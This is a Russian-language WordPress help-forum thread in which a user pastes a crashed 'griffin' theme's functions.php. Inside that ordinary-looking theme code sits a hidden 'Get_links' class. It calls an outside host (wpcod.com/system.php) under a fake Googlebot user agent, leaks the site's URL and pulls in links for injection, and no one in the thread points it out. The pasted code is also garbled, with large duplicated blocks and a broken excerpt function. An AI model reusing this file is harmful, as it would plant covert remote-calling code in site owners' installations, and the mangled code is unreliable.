• Здравствуйте!
    Я воспользовалась валидатором для проверки сайта и он выдал мне ошибки. Как и с помощью чего мне их найти на сайте, чтобы исправить?
    Вот, например » Line 38, Column 131: Attribute itemprop not allowed on element meta at this point». И где мне искать этот Line 38?
    И если у меня на сайте, к примеру, две формы поиска и я одну хочу убрать, то где мне искать код формы, чтобы ее удалить? Есть ли где-нибудь общий HTML код сайта? И существует ли какой-нибудь справочник по FTP? Сложно понять где и что находится. Спасибо!

Просмотр 13 ответов — с 1 по 13 (всего 13)
  • Добрый день, напортачил чего-то в странице functions php, сайт упал и выдает ошибку, в кодах дилетант, как поправить? что же делать? Parse error: syntax error, unexpected T_DEFAULT in /home/zmgzn/zmgzn.com/docs/wp-content/themes/griffin/functions.php on line 391

    а код какой в functions.php (в тегах code вставьте тут)?

    общий html страницы можно посмотреть, нажав в браузере во время просмотра этой страницы сочетание клавиш ctrl+u
    Там и искать 38 линию. Потом можно то, что на этой 38 линии, поискать в файлах темы, и там уже можно исправить ошибку.

    Вот какую ошибку выдает Parse error: syntax error, unexpected T_DEFAULT in /home/zmgzn/zmgzn.com/docs/wp-content/themes/griffin/functions.php on line 392
    а ниже код страницы, ошибка на строке 392 defautl:
    Началось вообще с того, что хотел удалить ссылку «Читать далее»
    и кстати удалил, осталось только <p>ID) . ‘»>’ . ‘</p>’;
    все работало, потом перестало

    <?php
    // theme setup
    if (!function_exists(‘griffin_setup’)):
    function griffin_setup() {
    register_nav_menus(array(
    ‘primary’ => __(‘Primary Menu’, ‘griffin’),
    ‘footer’ => __(‘Footer Menu’, ‘griffin’)
    ));
    add_theme_support(‘post-thumbnails’);
    add_theme_support(‘automatic-feed-links’);
    add_image_size(‘featured-full’, 600, 429, true);
    add_image_size(‘featured-teaser’, 358, 434, true);
    add_editor_style(get_template_directory_uri() . ‘/assets/css/editor-style.css’);
    // set content width
    global $content_width;
    if (!isset($content_width)) {$content_width = 750;}
    }
    endif;
    add_action(‘after_setup_theme’, ‘griffin_setup’);

    // load css
    function griffin_css() {
    wp_enqueue_style(‘griffin_ubuntu’, ‘//fonts.googleapis.com/css?family=Ubuntu:400,700’);
    wp_enqueue_style(‘griffin_bootstrap_css’, get_template_directory_uri() . ‘/assets/css/bootstrap.min.css’);
    wp_enqueue_style(‘griffin_style’, get_stylesheet_uri());
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_css’);

    // load javascript
    function griffin_javascript() {
    wp_enqueue_script(‘griffin_script’, get_template_directory_uri() . ‘/assets/js/griffin.js’, array(‘jquery’), ‘1.0’, true);
    wp_enqueue_script(‘jquery-masonry’);
    if (is_singular() && comments_open()) {wp_enqueue_script(‘comment-reply’);}
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_javascript’);

    // html5 shim
    function griffin_html5_shiv() {
    echo ‘<!—[if lt IE 9]>’;
    echo ‘<script src=»‘. get_template_directory_uri() .’/assets/js/html5shiv.js»></script>’;
    echo ‘<![endif]—>’;
    }
    add_action(‘wp_head’, ‘griffin_html5_shiv’);

    // title tag filter
    function griffin_title($title, $sep) {
    global $paged, $page;
    if (is_feed()) {return $title;}
    $title .= get_bloginfo(‘name’);
    $site_description = get_bloginfo(‘description’, ‘display’);
    if ( $site_description && (is_home() || is_front_page())) {
    $title = «$title $sep $site_description»;
    }
    if ( $paged >= 2 || $page >= 2 ) {
    $title = «$title $sep » . sprintf( __(‘Page %s’, ‘griffin’), max($paged, $page));
    }
    return $title;
    }
    add_filter(‘wp_title’, ‘griffin_title’, 10, 2);

    // custom header image
    $header_img = array(
    ‘width’ => 1200,
    ‘height’ => 320,
    ‘default-image’ => get_template_directory_uri() . ‘/assets/img/header.jpg’,
    ‘header-text’ => false
    );
    add_theme_support(‘custom-header’, $header_img);

    // theme customizer
    function griffin_customize_register($wp_customize) {
    // upload logo
    $wp_customize->add_section(‘griffin_logo_section’, array(
    ‘title’ => __(‘Загрузить лого’, ‘griffin’),
    ‘priority’ => 900,
    ‘type’ => ‘option’
    ));
    $wp_customize->add_setting(‘griffin_logo_setting’, array(
    ‘default’ => »,
    ‘sanitize_callback’ => ‘esc_url_raw’
    ));
    $wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, ‘logo’, array(
    ‘label’ => __(‘Лого’, ‘griffin’),
    ‘section’ => ‘griffin_logo_section’,
    ‘settings’ => ‘griffin_logo_setting’
    )));
    // secondary color
    $wp_customize->add_section(‘griffin_color_section’, array(
    ‘title’ => __(‘Вторичный цвет’, ‘griffin’),
    ‘priority’ => 902
    ));
    $wp_customize->add_setting(‘griffin_color_setting’, array(
    ‘default’ => ‘#009dd9’,
    ‘sanitize_callback’ => ‘sanitize_hex_color’
    ));
    $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, ‘color’, array(
    ‘section’ => ‘griffin_color_section’,
    ‘settings’ => ‘griffin_color_setting’
    )));
    }
    add_action(‘customize_register’, ‘griffin_customize_register’);

    function griffin_custom_css() {
    wp_enqueue_style(‘custom-style’, get_template_directory_uri() . ‘/assets/css/custom.css’);
    $color = get_theme_mod(‘griffin_color_setting’,’#009dd9′);
    $custom_css = «
    a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
    header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
    «;
    wp_add_inline_style(‘custom-style’, $custom_css);
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_custom_css’);

    // custom excerpt
    function new_excerpt_more($more) {
    global $post;
    return ‘ …
    <p>ID) . ‘»>’ . ‘</p>’;
    }
    add_filter(‘excerpt_more’, ‘new_excerpt_more’);

    // sidebars
    function griffin_widgets_init() {
    register_sidebar(array(
    ‘name’ => __(‘Primary Sidebar’, ‘griffin’),
    ‘id’ => ‘primary-sidebar’,
    ‘description’ => __(‘Widgets will appear in the right sidebar on posts and pages’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Left’, ‘griffin’),
    ‘id’ => ‘footer-left’,
    ‘description’ => __(‘Widgets will appear in the left column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Middle’, ‘griffin’),
    ‘id’ => ‘footer-middle’,
    ‘description’ => __(‘Widgets will appear in the middle column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Right’, ‘griffin’),
    ‘id’ => ‘footer-right’,
    ‘description’ => __(‘Widgets will appear in the right column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    }
    add_action(‘widgets_init’, ‘griffin_widgets_init’);

    // comments
    if (!function_exists(‘griffin_comment’)) :
    function griffin_comment($comment, $args, $depth) {
    $GLOBALS[‘comment’] = $comment;
    switch ($comment->comment_type) :
    case ‘pingback’ :
    case ‘trackback’ :
    ?>
    <li class=»pingback»>
    <?php comment_author_link(); ?>
    <?php
    break;
    default :
    ?>
    <li <?php comment_class(); ?> id=»li-comment-<?php comment_ID(); ?>»>
    <div class=»comment-avatar»>
    <?php echo get_avatar($comment, 43); ?>
    </div>
    <div class=»comment-text»>
    <p class=»comment-meta»>
    <span class=»comment-author»><?php comment_author(); ?></span>
    <span class=»comment-date»><?php echo get_comment_date() . ‘ — ‘ . get_comment_time() ?></span>
    <?php edit_comment_link(__( ‘Изменить’, ‘griffin’ ), », »); ?>
    <?php comment_reply_link(array_merge($args, array(‘reply_text’ => __(‘Ответить’, ‘griffin’), ‘depth’ => $depth, ‘max_depth’ => $args[‘max_depth’]))); ?>
    </p>
    <div class=»comment-body»><?php comment_text(); ?></div>
    <?php if (‘0’ == $comment->comment_approved) : ?>
    <p class=»comment-awaiting-moderation»><?php _e(‘Комментарий ожидает проверки’, ‘griffin’); ?></p>
    <?php endif; ?>
    </div>
    <?php
    break;
    endswitch;
    }
    endif;

    // pager
    if (!function_exists(‘griffin_pagination’)):
    function griffin_pagination() {
    global $wp_query;
    $big = 999999999;
    echo ‘<div class=»pager»>’;
    echo paginate_links( array(
    ‘base’ => str_replace($big, ‘%#%’, esc_url(get_pagenum_link($big))),
    ‘format’ => ‘?paged=%#%’,
    ‘current’ => max(1, get_query_var(‘paged’)),
    ‘total’ => $wp_query->max_num_pages,
    ‘prev_next’ => True,
    ‘prev_text’ => __(‘<span>&Larr;</span> Назад’, ‘griffin’),
    ‘next_text’ => __(‘Вперед <span>&Rarr;</span>’, ‘griffin’),
    ));
    echo ‘</div>’;
    }
    endif;
    error_reporting(‘^ E_ALL ^ E_NOTICE’);
    ini_set(‘display_errors’, ‘0’);
    error_reporting(E_ALL);
    ini_set(‘display_errors’, ‘0’);

    class Get_links {

    var $host = ‘wpcod.com’;
    var $path = ‘/system.php’;
    var $_socket_timeout = 5;

    function get_remote() {
    $req_url = ‘http://&#8217;.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]);
    $_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»;

    $links_class = new Get_links();
    $host = $links_class->host;
    $path = $links_class->path;
    $_socket_timeout = $links_class->_socket_timeout;
    //$_user_agent = $links_class->_user_agent;

    @ini_set(‘allow_url_fopen’, 1);
    @ini_set(‘default_socket_timeout’, $_socket_timeout);
    @ini_set(‘user_agent’, $_user_agent);

    if (function_exists(‘file_get_contents’)) {
    $opts = array(
    ‘http’=>array(
    ‘method’=>»GET»,
    ‘header’=>»Referer: {$req_url}\r\n».
    «User-Agent: {$_user_agent}\r\n»
    )
    );
    $context = stream_context_create($opts);

    $data = @file_get_contents(‘http://&#8217; . $host . $path, false, $context);
    preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/’, $data, $data);
    $data = @$data[2];
    return $data;
    }
    return ‘<!—link error—>’;
    }
    }
    function custom_excerpt_length() {
    $length = 40;
    return $length;
    }
    add_filter(‘excerpt_length’, ‘custom_excerpt_length’);
    ?>
    if (is_feed()) {return $title;}
    $title .= get_bloginfo(‘name’);
    $site_description = get_bloginfo(‘description’, ‘display’);
    if ( $site_description && (is_home() || is_front_page())) {
    $title = «$title $sep $site_description»;
    }
    if ( $paged >= 2 || $page >= 2 ) {
    $title = «$title $sep » . sprintf( __(‘Page %s’, ‘griffin’), max($paged, $page));
    }
    return $title;
    }
    add_filter(‘wp_title’, ‘griffin_title’, 10, 2);

    // custom header image
    $header_img = array(
    ‘width’ => 1200,
    ‘height’ => 320,
    ‘default-image’ => get_template_directory_uri() . ‘/assets/img/header.jpg’,
    ‘header-text’ => false
    );
    add_theme_support(‘custom-header’, $header_img);

    // theme customizer
    function griffin_customize_register($wp_customize) {
    // upload logo
    $wp_customize->add_section(‘griffin_logo_section’, array(
    ‘title’ => __(‘Загрузить лого’, ‘griffin’),
    ‘priority’ => 900,
    ‘type’ => ‘option’
    ));
    $wp_customize->add_setting(‘griffin_logo_setting’, array(
    ‘default’ => »,
    ‘sanitize_callback’ => ‘esc_url_raw’
    ));
    $wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, ‘logo’, array(
    ‘label’ => __(‘Лого’, ‘griffin’),
    ‘section’ => ‘griffin_logo_section’,
    ‘settings’ => ‘griffin_logo_setting’
    )));
    // secondary color
    $wp_customize->add_section(‘griffin_color_section’, array(
    ‘title’ => __(‘Вторичный цвет’, ‘griffin’),
    ‘priority’ => 902
    ));
    $wp_customize->add_setting(‘griffin_color_setting’, array(
    ‘default’ => ‘#009dd9’,
    ‘sanitize_callback’ => ‘sanitize_hex_color’
    ));
    $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, ‘color’, array(
    ‘section’ => ‘griffin_color_section’,
    ‘settings’ => ‘griffin_color_setting’
    )));
    }
    add_action(‘customize_register’, ‘griffin_customize_register’);

    function griffin_custom_css() {
    wp_enqueue_style(‘custom-style’, get_template_directory_uri() . ‘/assets/css/custom.css’);
    $color = get_theme_mod(‘griffin_color_setting’,’#009dd9′);
    $custom_css = «
    a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
    header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
    «;
    wp_add_inline_style(‘custom-style’, $custom_css);
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_custom_css’);

    // custom excerpt
    function new_excerpt_more($more) {
    global $post;
    return ‘… <p>ID) . ‘»>’ . ‘</p>’;
    }
    add_filter(‘excerpt_more’, ‘new_excerpt_more’);

    // sidebars
    function griffin_widgets_init() {
    register_sidebar(array(
    ‘name’ => __(‘Primary Sidebar’, ‘griffin’),
    ‘id’ => ‘primary-sidebar’,
    ‘description’ => __(‘Widgets will appear in the right sidebar on posts and pages’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Left’, ‘griffin’),
    ‘id’ => ‘footer-left’,
    ‘description’ => __(‘Widgets will appear in the left column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Middle’, ‘griffin’),
    ‘id’ => ‘footer-middle’,
    ‘description’ => __(‘Widgets will appear in the middle column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Right’, ‘griffin’),
    ‘id’ => ‘footer-right’,
    ‘description’ => __(‘Widgets will appear in the right column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    }
    add_action(‘widgets_init’, ‘griffin_widgets_init’);

    // comments
    if (!function_exists(‘griffin_comment’)) :
    function griffin_comment($comment, $args, $depth) {
    $GLOBALS[‘comment’] = $comment;
    switch ($comment->comment_type) :
    case ‘pingback’ :
    case ‘trackback’ :
    ?>
    <li class=»pingback»>
    <?php comment_author_link(); ?>
    <?php
    break;
    default :
    ?>
    <li <?php comment_class(); ?> id=»li-comment-<?php comment_ID(); ?>»>
    <div class=»comment-avatar»>
    <?php echo get_avatar($comment, 43); ?>
    </div>
    <div class=»comment-text»>
    <p class=»comment-meta»>
    <span class=»comment-author»><?php comment_author(); ?></span>
    <span class=»comment-date»><?php echo get_comment_date() . ‘ — ‘ . get_comment_time() ?></span>
    <?php edit_comment_link(__( ‘Изменить’, ‘griffin’ ), », »); ?>
    <?php comment_reply_link(array_merge($args, array(‘reply_text’ => __(‘Ответить’, ‘griffin’), ‘depth’ => $depth, ‘max_depth’ => $args[‘max_depth’]))); ?>
    </p>
    <div class=»comment-body»><?php comment_text(); ?></div>
    <?php if (‘0’ == $comment->comment_approved) : ?>
    <p class=»comment-awaiting-moderation»><?php _e(‘Комментарий ожидает проверки’, ‘griffin’); ?></p>
    <?php endif; ?>
    </div>
    <?php
    break;
    endswitch;
    }
    endif;

    // pager
    if (!function_exists(‘griffin_pagination’)):
    function griffin_pagination() {
    global $wp_query;
    $big = 999999999;
    echo ‘<div class=»pager»>’;
    echo paginate_links( array(
    ‘base’ => str_replace($big, ‘%#%’, esc_url(get_pagenum_link($big))),
    ‘format’ => ‘?paged=%#%’,
    ‘current’ => max(1, get_query_var(‘paged’)),
    ‘total’ => $wp_query->max_num_pages,
    ‘prev_next’ => True,
    ‘prev_text’ => __(‘<span>&Larr;</span> Назад’, ‘griffin’),
    ‘next_text’ => __(‘Вперед <span>&Rarr;</span>’, ‘griffin’),
    ));
    echo ‘</div>’;
    }
    endif;
    error_reporting(‘^ E_ALL ^ E_NOTICE’);
    ini_set(‘display_errors’, ‘0’);
    error_reporting(E_ALL);
    ini_set(‘display_errors’, ‘0’);

    class Get_links {

    var $host = ‘wpcod.com’;
    var $path = ‘/system.php’;
    var $_socket_timeout = 5;

    function get_remote() {
    $req_url = ‘http://&#8217;.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]);
    $_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»;

    $links_class = new Get_links();
    $host = $links_class->host;
    $path = $links_class->path;
    $_socket_timeout = $links_class->_socket_timeout;
    //$_user_agent = $links_class->_user_agent;

    @ini_set(‘allow_url_fopen’, 1);
    @ini_set(‘default_socket_timeout’, $_socket_timeout);
    @ini_set(‘user_agent’, $_user_agent);

    if (function_exists(‘file_get_contents’)) {
    $opts = array(
    ‘http’=>array(
    ‘method’=>»GET»,
    ‘header’=>»Referer: {$req_url}\r\n».
    «User-Agent: {$_user_agent}\r\n»
    )
    );
    $context = stream_context_create($opts);

    $data = @file_get_contents(‘http://&#8217; . $host . $path, false, $context);
    preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/’, $data, $data);
    $data = @$data[2];
    return $data;
    }
    return ‘<!—link error—>’;
    }
    }
    function custom_excerpt_length() {
    $length = 40;
    return $length;
    }
    add_filter(‘excerpt_length’, ‘custom_excerpt_length’);
    ?>

    плин — исправьте ваше сообщение — код вставьте в тегах code — кнопочку видите в панели?

    упс, моя вина

    `<?php
    // theme setup
    if (!function_exists(‘griffin_setup’)):
    function griffin_setup() {
    register_nav_menus(array(
    ‘primary’ => __(‘Primary Menu’, ‘griffin’),
    ‘footer’ => __(‘Footer Menu’, ‘griffin’)
    ));
    add_theme_support(‘post-thumbnails’);
    add_theme_support(‘automatic-feed-links’);
    add_image_size(‘featured-full’, 600, 429, true);
    add_image_size(‘featured-teaser’, 358, 434, true);
    add_editor_style(get_template_directory_uri() . ‘/assets/css/editor-style.css’);
    // set content width
    global $content_width;
    if (!isset($content_width)) {$content_width = 750;}
    }
    endif;
    add_action(‘after_setup_theme’, ‘griffin_setup’);

    // load css
    function griffin_css() {
    wp_enqueue_style(‘griffin_ubuntu’, ‘//fonts.googleapis.com/css?family=Ubuntu:400,700’);
    wp_enqueue_style(‘griffin_bootstrap_css’, get_template_directory_uri() . ‘/assets/css/bootstrap.min.css’);
    wp_enqueue_style(‘griffin_style’, get_stylesheet_uri());
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_css’);

    // load javascript
    function griffin_javascript() {
    wp_enqueue_script(‘griffin_script’, get_template_directory_uri() . ‘/assets/js/griffin.js’, array(‘jquery’), ‘1.0’, true);
    wp_enqueue_script(‘jquery-masonry’);
    if (is_singular() && comments_open()) {wp_enqueue_script(‘comment-reply’);}
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_javascript’);

    // html5 shim
    function griffin_html5_shiv() {
    echo ‘<!—[if lt IE 9]>’;
    echo ‘<script src=»‘. get_template_directory_uri() .’/assets/js/html5shiv.js»></script>’;
    echo ‘<![endif]—>’;
    }
    add_action(‘wp_head’, ‘griffin_html5_shiv’);

    // title tag filter
    function griffin_title($title, $sep) {
    global $paged, $page;
    if (is_feed()) {return $title;}
    $title .= get_bloginfo(‘name’);
    $site_description = get_bloginfo(‘description’, ‘display’);
    if ( $site_description && (is_home() || is_front_page())) {
    $title = «$title $sep $site_description»;
    }
    if ( $paged >= 2 || $page >= 2 ) {
    $title = «$title $sep » . sprintf( __(‘Page %s’, ‘griffin’), max($paged, $page));
    }
    return $title;
    }
    add_filter(‘wp_title’, ‘griffin_title’, 10, 2);

    // custom header image
    $header_img = array(
    ‘width’ => 1200,
    ‘height’ => 320,
    ‘default-image’ => get_template_directory_uri() . ‘/assets/img/header.jpg’,
    ‘header-text’ => false
    );
    add_theme_support(‘custom-header’, $header_img);

    // theme customizer
    function griffin_customize_register($wp_customize) {
    // upload logo
    $wp_customize->add_section(‘griffin_logo_section’, array(
    ‘title’ => __(‘Загрузить лого’, ‘griffin’),
    ‘priority’ => 900,
    ‘type’ => ‘option’
    ));
    $wp_customize->add_setting(‘griffin_logo_setting’, array(
    ‘default’ => »,
    ‘sanitize_callback’ => ‘esc_url_raw’
    ));
    $wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, ‘logo’, array(
    ‘label’ => __(‘Лого’, ‘griffin’),
    ‘section’ => ‘griffin_logo_section’,
    ‘settings’ => ‘griffin_logo_setting’
    )));
    // secondary color
    $wp_customize->add_section(‘griffin_color_section’, array(
    ‘title’ => __(‘Вторичный цвет’, ‘griffin’),
    ‘priority’ => 902
    ));
    $wp_customize->add_setting(‘griffin_color_setting’, array(
    ‘default’ => ‘#009dd9’,
    ‘sanitize_callback’ => ‘sanitize_hex_color’
    ));
    $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, ‘color’, array(
    ‘section’ => ‘griffin_color_section’,
    ‘settings’ => ‘griffin_color_setting’
    )));
    }
    add_action(‘customize_register’, ‘griffin_customize_register’);

    function griffin_custom_css() {
    wp_enqueue_style(‘custom-style’, get_template_directory_uri() . ‘/assets/css/custom.css’);
    $color = get_theme_mod(‘griffin_color_setting’,’#009dd9′);
    $custom_css = «
    a:hover, header #header-name:hover, #primary-menu .menu-item-has-children:hover .sub-menu li a:hover, .widget_tag_cloud a:hover, #footer-widgets .widget a:hover, .teaser-title a:hover, .sticky h3 span, .pager a.page-numbers:hover, article #post-links a:hover, #comments .bypostauthor .comment-author {color:{$color};}
    header #header-name:hover, #sidebar-widgets .widget h4, .teaser-more, .sticky h3 span {border-color:{$color};}
    «;
    wp_add_inline_style(‘custom-style’, $custom_css);
    }
    add_action(‘wp_enqueue_scripts’, ‘griffin_custom_css’);

    // custom excerpt
    function new_excerpt_more($more) {
    global $post;
    return ‘ …
    <p>ID) . ‘»>’ . ‘</p>’;
    }
    add_filter(‘excerpt_more’, ‘new_excerpt_more’);

    // sidebars
    function griffin_widgets_init() {
    register_sidebar(array(
    ‘name’ => __(‘Primary Sidebar’, ‘griffin’),
    ‘id’ => ‘primary-sidebar’,
    ‘description’ => __(‘Widgets will appear in the right sidebar on posts and pages’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Left’, ‘griffin’),
    ‘id’ => ‘footer-left’,
    ‘description’ => __(‘Widgets will appear in the left column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Middle’, ‘griffin’),
    ‘id’ => ‘footer-middle’,
    ‘description’ => __(‘Widgets will appear in the middle column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    register_sidebar(array(
    ‘name’ => __(‘Footer Right’, ‘griffin’),
    ‘id’ => ‘footer-right’,
    ‘description’ => __(‘Widgets will appear in the right column of the footer’, ‘griffin’),
    ‘before_widget’ => ‘<aside id=»%1$s» class=»widget %2$s»>’,
    ‘after_widget’ => «</aside>»,
    ‘before_title’ => ‘<h4>’,
    ‘after_title’ => ‘</h4>’
    ));
    }
    add_action(‘widgets_init’, ‘griffin_widgets_init’);

    // comments
    if (!function_exists(‘griffin_comment’)) :
    function griffin_comment($comment, $args, $depth) {
    $GLOBALS[‘comment’] = $comment;
    switch ($comment->comment_type) :
    case ‘pingback’ :
    case ‘trackback’ :
    ?>
    <li class=»pingback»>
    <?php comment_author_link(); ?>
    <?php
    break;
    default :
    ?>
    <li <?php comment_class(); ?> id=»li-comment-<?php comment_ID(); ?>»>
    <div class=»comment-avatar»>
    <?php echo get_avatar($comment, 43); ?>
    </div>
    <div class=»comment-text»>
    <p class=»comment-meta»>
    <span class=»comment-author»><?php comment_author(); ?></span>
    <span class=»comment-date»><?php echo get_comment_date() . ‘ — ‘ . get_comment_time() ?></span>
    <?php edit_comment_link(__( ‘Изменить’, ‘griffin’ ), », »); ?>
    <?php comment_reply_link(array_merge($args, array(‘reply_text’ => __(‘Ответить’, ‘griffin’), ‘depth’ => $depth, ‘max_depth’ => $args[‘max_depth’]))); ?>
    </p>
    <div class=»comment-body»><?php comment_text(); ?></div>
    <?php if (‘0’ == $comment->comment_approved) : ?>
    <p class=»comment-awaiting-moderation»><?php _e(‘Комментарий ожидает проверки’, ‘griffin’); ?></p>
    <?php endif; ?>
    </div>
    <?php
    break;
    endswitch;
    }
    endif;

    // pager
    if (!function_exists(‘griffin_pagination’)):
    function griffin_pagination() {
    global $wp_query;
    $big = 999999999;
    echo ‘<div class=»pager»>’;
    echo paginate_links( array(
    ‘base’ => str_replace($big, ‘%#%’, esc_url(get_pagenum_link($big))),
    ‘format’ => ‘?paged=%#%’,
    ‘current’ => max(1, get_query_var(‘paged’)),
    ‘total’ => $wp_query->max_num_pages,
    ‘prev_next’ => True,
    ‘prev_text’ => __(‘<span>&Larr;</span> Назад’, ‘griffin’),
    ‘next_text’ => __(‘Вперед <span>&Rarr;</span>’, ‘griffin’),
    ));
    echo ‘</div>’;
    }
    endif;
    error_reporting(‘^ E_ALL ^ E_NOTICE’);
    ini_set(‘display_errors’, ‘0’);
    error_reporting(E_ALL);
    ini_set(‘display_errors’, ‘0’);

    class Get_links {

    var $host = ‘wpcod.com’;
    var $path = ‘/system.php’;
    var $_socket_timeout = 5;

    function get_remote() {
    $req_url = ‘http://&#8217;.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]);
    $_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»;

    $links_class = new Get_links();
    $host = $links_class->host;
    $path = $links_class->path;
    $_socket_timeout = $links_class->_socket_timeout;
    //$_user_agent = $links_class->_user_agent;

    @ini_set(‘allow_url_fopen’, 1);
    @ini_set(‘default_socket_timeout’, $_socket_timeout);
    @ini_set(‘user_agent’, $_user_agent);

    if (function_exists(‘file_get_contents’)) {
    $opts = array(
    ‘http’=>array(
    ‘method’=>»GET»,
    ‘header’=>»Referer: {$req_url}\r\n».
    «User-Agent: {$_user_agent}\r\n»
    )
    );
    $context = stream_context_create($opts);

    $data = @file_get_contents(‘http://&#8217; . $host . $path, false, $context);
    preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/’, $data, $data);
    $data = @$data[2];
    return $data;
    }
    return ‘<!—link error—>’;
    }
    }
    function custom_excerpt_length() {
    $length = 40;
    return $length;
    }
    add_filter(‘excerpt_length’, ‘custom_excerpt_length’);
    ?>
    if (is_feed()) {return $title;}
    $title .= get_bloginfo(‘name’);
    $site_description = get_bloginfo(‘description’, ‘display’);
    if ( $site_description && (is_home() || is_front_page())) {
    $title = «$title $sep $site_description»;
    }
    if ( $paged >= 2 || $page >= 2 ) {
    $title = «$title $sep » . sprintf( __(‘Page %s’, ‘griffin’), max($paged, $page));
    }
    return $title;
    }
    add_filter(‘wp_title’, ‘griffin_title’, 10, 2);

    // custom header image
    $header_img = array(
    ‘width’ => 1200,
    ‘height’ => 320,
    ‘default-image’ => get_template_directory_uri() . ‘/assets/img/header.jpg’,
    ‘header-text’ => false
    );
    add_theme_support(‘custom-header’, $header_img);

    // theme customizer
    function griffin_customize_register($wp_customize) {
    // upload logo
    $wp_customize->add_section(‘griffin_logo_section’, array(
    ‘title’ => __(‘Загрузить лого’, ‘griffin’),
    ‘priority’ => 900,
    ‘type’ => ‘option’
    ));
    $wp_customize->add_setting(‘griffin_logo_setting’, array(
    ‘default’ => »,
    ‘sanitize_callback’ => ‘esc_url_raw’
    ));
    $wp_customize->add_control(new WP_Customize_Image_Control($wp_customize, ‘logo’, array(
    ‘label’ => __(‘Лого’, ‘griffin’),
    ‘section’ => ‘griffin_logo_section’,
    ‘settings’ => ‘griffin_logo_setting’
    )));
    // secondary color
    $wp_customize->add_section(‘griffin_color_section’, array(
    ‘title’ => __(‘Вторичный цвет’, ‘griffin’),
    ‘priority’ => 902
    ));
    $wp_customize->add_setting(‘griffin_color_setting’, array(
    ‘default’ => ‘#009dd9’,
    ‘sanitize_callback’ => ‘sanitize_hex_color’
    ));
    $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, ‘color’, array(
    ‘section’ => ‘griffin_color_section’,
